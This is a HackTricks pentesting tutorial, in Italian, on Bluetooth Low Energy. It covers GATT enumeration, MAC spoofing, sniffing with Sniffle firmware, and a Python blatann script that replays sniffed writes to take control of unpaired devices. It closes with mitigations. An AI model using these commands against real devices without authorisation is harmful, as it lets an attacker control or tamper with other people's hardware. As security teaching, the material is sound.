Pentesting BLE - Bluetooth Low Energy

Reading time: 9 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Introduzione

Disponibile dalla specifica Bluetooth 4.0, BLE utilizza solo 40 canali, coprendo l'intervallo da 2400 a 2483,5 MHz. In confronto, il Bluetooth tradizionale usa 79 canali nello stesso intervallo.

I dispositivi BLE comunicano inviando pacchetti di advertising (beacon); questi pacchetti trasmettono l'esistenza del dispositivo BLE agli altri dispositivi vicini. Questi beacon talvolta invieranno anche dati.

Il dispositivo in ascolto, chiamato anche dispositivo centrale, può rispondere a un pacchetto di advertising con una SCAN request inviata specificamente al dispositivo che sta advertising. La response a quella scan usa la stessa struttura del pacchetto di advertising con informazioni aggiuntive che non potevano entrare nella richiesta di advertising iniziale, come il nome completo del dispositivo.

Il byte di preambolo sincronizza la frequenza, mentre l'indirizzo di accesso di quattro byte è un identificatore di connection, usato negli scenari in cui più dispositivi cercano di stabilire connessioni sugli stessi canali. Successivamente, la Protocol Data Unit (PDU) contiene i dati di advertising. Esistono diversi tipi di PDU; i più comunemente usati sono ADV_NONCONN_IND e ADV_IND. I dispositivi usano il tipo di PDU ADV_NONCONN_IND se non accettano connessioni, trasmettendo dati solo nel pacchetto di advertising. I dispositivi usano ADV_IND se consentono connessioni e smettono di inviare pacchetti di advertising una volta che una connection è stata stabilita.

GATT

La Generic Attribute Profile (GATT) definisce come il dispositivo deve formattare e trasferire i dati. Quando analizzi la superficie di attacco di un dispositivo BLE, spesso concentri la tua attenzione sul GATT (o sui GATT), perché è il modo in cui la funzionalità del dispositivo viene attivata e come i dati vengono memorizzati, raggruppati e modificati. Il GATT elenca le caratteristiche, i descriptor e i servizi di un dispositivo in una tabella come valori a 16 o 32 bit. Una characteristic è un valore di dati inviato tra il dispositivo centrale e il peripheral. Queste characteristic possono avere dei descriptor che forniscono informazioni aggiuntive su di esse. Le characteristic sono spesso raggruppate in servizi se sono correlate all'esecuzione di una particolare azione.

Enumeration

bash
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool consente di stabilire una connessione con un altro dispositivo, elencandone le caratteristiche, e leggendo e scrivendo i suoi attributi.
GATTTool può avviare una shell interattiva con l'opzione -I:

bash
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle:
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle:
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
[...]

# Write data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)

# Read data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16

# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c

Bettercap

bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing e controllo attivo di dispositivi BLE non accoppiati

Molti periferici BLE a basso costo non impongono pairing/bonding. Senza bonding, la cifratura del Link Layer non viene mai abilitata, quindi il traffico ATT/GATT è in chiaro. Uno sniffer off-path può seguire la connessione, decodificare le operazioni GATT per apprendere gli handle e i valori delle characteristic, e qualsiasi host nelle vicinanze può poi connettersi e riprodurre quelle scritture per controllare il dispositivo.

Sniffing con Sniffle (CC26x2/CC1352)

Hardware: un Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) riprogrammato con il firmware Sniffle di NCC Group.

Installare Sniffle e il suo Wireshark extcap su Linux:

bash
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi

Flash Sonoff con Sniffle firmware (assicurati che il tuo dispositivo seriale sia corretto, ad esempio /dev/ttyUSB0):

bash
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Cattura in Wireshark tramite Sniffle extcap e pivot rapidamente verso state-changing writes filtrando:

text
_ws.col.info contains "Sent Write Command"

Questo evidenzia ATT Write Commands dal client; l'handle e il valore spesso mappano direttamente ad azioni del dispositivo (es., write 0x01 a una characteristic buzzer/alert, 0x00 per fermare).

Esempi rapidi della Sniffle CLI:

bash
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Alternative sniffer: nRF Sniffer di Nordic per BLE + plugin Wireshark funziona anche. Su dongle Nordic piccoli/economici solitamente si sovrascrive il bootloader USB per caricare il firmware del sniffer, quindi o si mantiene un dongle sniffer dedicato oppure serve un J-Link/JTAG per ripristinare il bootloader in seguito.

Controllo attivo via GATT

Una volta identificato un handle di characteristic scrivibile e il valore dal traffico sniffato, connettiti come qualsiasi central e invia la stessa write:

  • Con Nordic nRF Connect for Desktop (BLE app):

  • Seleziona il dongle nRF52/nRF52840, scansiona e connettiti al target.

  • Esplora il database GATT, individua la caratteristica target (spesso ha un nome amichevole, es. Alert Level).

  • Esegui una Write con i byte sniffati (es., 01 per attivare, 00 per fermare).

  • Automatizza su Windows con un dongle Nordic usando Python + blatann:

python
import time
import blatann

# CONFIG
COM_PORT = "COM29"  # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00"  # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")

# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)

print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)

# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b:  # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")

print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()

Note operative e mitigazioni

  • Preferire Sonoff+Sniffle su Linux per un channel hopping robusto e per il tracciamento delle connessioni. Tenere uno Nordic sniffer di riserva come backup.
  • Senza pairing/bonding, qualsiasi attaccante nelle vicinanze può osservare le write e riprodurre/forgiare proprie scritture su characteristic scrivibili non autenticate.
  • Mitigazioni: richiedere pairing/bonding e applicare la cifratura; impostare i permessi delle characteristic per richiedere authenticated writes; minimizzare le characteristic scrivibili non autenticate; validare i GATT ACLs con Sniffle/nRF Connect.

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks